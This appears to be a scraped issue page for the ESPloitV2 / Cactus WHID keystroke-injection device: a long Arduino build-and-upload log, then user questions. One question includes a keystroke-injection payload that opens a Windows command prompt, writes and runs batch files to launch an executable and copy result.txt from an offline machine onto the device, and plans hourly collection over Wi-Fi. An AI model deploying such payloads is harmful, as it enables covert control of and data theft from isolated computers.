"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\WMath.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\WMath.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\WString.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\WString.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\abi.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\abi.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\main.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\main.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-g++" -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -MMD -flto -mmcu=atmega32u4 -DF_CPU=8000000L -DARDUINO=10805 -DARDUINO_AVR_LILYPAD_USB -DARDUINO_ARCH_AVR -DUSB_VID=0x1B4F -DUSB_PID=0x9208 '-DUSB_MANUFACTURER="Unknown"' '-DUSB_PRODUCT="LilyPad USB"' "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino" "-IC:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\variants\leonardo" "C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\cores\arduino\new.cpp" -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\new.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring_pulse.S.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\WInterrupts.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\hooks.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring_analog.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring_digital.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring_pulse.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\wiring_shift.c.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\CDC.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\HardwareSerial.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\HardwareSerial0.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\HardwareSerial1.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\HardwareSerial2.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\HardwareSerial3.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\IPAddress.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\PluggableUSB.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\Print.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\Stream.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\Tone.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\USBCore.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\WMath.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\WString.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\abi.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\main.cpp.o"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc-ar" rcs "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\core.a" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\core\new.cpp.o"
Archiving built core (caching) in: C:\Users\dakra\AppData\Local\Temp\arduino_cache_641656\core\core_arduino_avr_LilyPadUSB_5714b000517502ea7109357af71d3bd7.a
Linking everything together...
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-gcc" -w -Os -g -flto -fuse-linker-plugin -Wl,--gc-sections -mmcu=atmega32u4 -o "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237/Arduino_Sketch.ino.elf" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\sketch\Arduino_Sketch.ino.cpp.o" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\libraries\Keyboard\Keyboard.cpp.o" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\libraries\HID\HID.cpp.o" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237\libraries\SoftwareSerial\SoftwareSerial.cpp.o" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237/core\core.a" "-LC:\Users\dakra\AppData\Local\Temp\arduino_build_322237" -lm
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-objcopy" -O ihex -j .eeprom --set-section-flags=.eeprom=alloc,load --no-change-warnings --change-section-lma .eeprom=0 "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237/Arduino_Sketch.ino.elf" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237/Arduino_Sketch.ino.eep"
"C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avr-gcc\4.9.2-atmel3.5.4-arduino2/bin/avr-objcopy" -O ihex -R .eeprom "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237/Arduino_Sketch.ino.elf" "C:\Users\dakra\AppData\Local\Temp\arduino_build_322237/Arduino_Sketch.ino.hex"
Bibliothek Keyboard in Version 1.0.1 im Ordner: C:\Program Files (x86)\Arduino\libraries\Keyboard wird verwendet
Bibliothek HID in Version 1.0 im Ordner: C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\HID wird verwendet
Bibliothek SoftwareSerial in Version 1.0 im Ordner: C:\Program Files (x86)\Arduino\portable\packages\arduino\hardware\avr\1.6.21\libraries\SoftwareSerial wird verwendet
Der Sketch verwendet 8982 Bytes (31%) des Programmspeicherplatzes. Das Maximum sind 28672 Bytes.
Globale Variablen verwenden 566 Bytes (22%) des dynamischen Speichers, 1994 Bytes für lokale Variablen verbleiben. Das Maximum sind 2560 Bytes.
Erzwinge Reset durch öffnen/schließen mit 1200 bps auf dem Port COM11
PORTS {COM11, } / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {} => {}
PORTS {} / {COM11, } => {COM11, }
Found upload port: COM11
C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avrdude\6.3.0-arduino9/bin/avrdude -CC:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avrdude\6.3.0-arduino9/etc/avrdude.conf -v -patmega32u4 -cavr109 -PCOM11 -b57600 -D -Uflash:w:C:\Users\dakra\AppData\Local\Temp\arduino_build_322237/Arduino_Sketch.ino.hex:i

avrdude: Version 6.3, compiled on Jan 17 2017 at 12:00:53
Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
Copyright (c) 2007-2014 Joerg Wunsch

     System wide configuration file is "C:\Program Files (x86)\Arduino\portable\packages\arduino\tools\avrdude\6.3.0-arduino9/etc/avrdude.conf"

     Using Port                    : COM11
     Using Programmer              : avr109
     Overriding Baud Rate          : 57600
     AVR Part                      : ATmega32U4
     Chip Erase delay              : 9000 us
     PAGEL                         : PD7
     BS2                           : PA0
     RESET disposition             : dedicated
     RETRY pulse                   : SCK
     serial program mode           : yes
     parallel program mode         : yes
     Timeout                       : 200
     StabDelay                     : 100
     CmdexeDelay                   : 25
     SyncLoops                     : 32
     ByteDelay                     : 0
     PollIndex                     : 3
     PollValue                     : 0x53
     Memory Detail                 :

                              Block Poll               Page                       Polled
       Memory Type Mode Delay Size  Indx Paged  Size   Size #Pages MinW  MaxW   ReadBack
       ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
       eeprom        65    20     4    0 no       1024    4      0  9000  9000 0x00 0x00
       flash         65     6   128    0 yes     32768  128    256  4500  4500 0x00 0x00
       lfuse          0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
       hfuse          0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
       efuse          0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
       lock           0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
       calibration    0     0     0    0 no          1    0      0     0     0 0x00 0x00
       signature      0     0     0    0 no          3    0      0     0     0 0x00 0x00

     Programmer Type : butterfly
     Description     : Atmel AppNote AVR109 Boot Loader

Connecting to programmer: .avrdude: butterfly_recv(): programmer is not responding

avrdude: butterfly_recv(): programmer is not responding

Function of transferring a file of the ESploitV2.

I apologize for my bad English.

I need to interact(get result.txt) with a remote machine that does not have a network. As it turned out, through the WHID injector, I can't receive data through the network itself Esploit, and it's sad.

Is it possible to use 3 megabytes of flash memory internally as a disk in Windows to transfer and receive files through it?

The algorithm is as follows:

  1. Download the file getTEMP.cfg via ftp on Esploit.
  2. Connect an internal flash memory(3 megabytes) as a Windows disk.
  3. Use this playload:
    Rem:GET RESULT
    Press:131+114
    PrintLine:cmd
    PrintLine:echo F:>>payload.bat
    PrintLine:echo copy F:\getTEMP.cfg C:\area\cfg\>>payload.bat
    PrintLine:echo start C:\area\control.exe>>payload.bat
    PrintLine:payload.bat
    PrintLine:echo copy C:\area\result.txt F:\>>result.bat
    PrintLine:result.bat
    PrintLine:exit

Disk "F" - it's internal memory of Esploit, if there is a possibility to connect internal memory as a Windows disk.

  1. And I already through wi-fi will be with ftp Esploit, broat the file with the results.
  2. Set up the Ncrone, every hour, to perform the first 4 items, and take a file with the results.

Keyboard layout PT-BR

I'm new to Arduino. I need to change my keyboard layout, I've downloaded PT-BR, but how do I connect my CACTUS WHID to the Ardino IDE and perform the upgrade? I did not find any beginner tutorial. Thank you

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.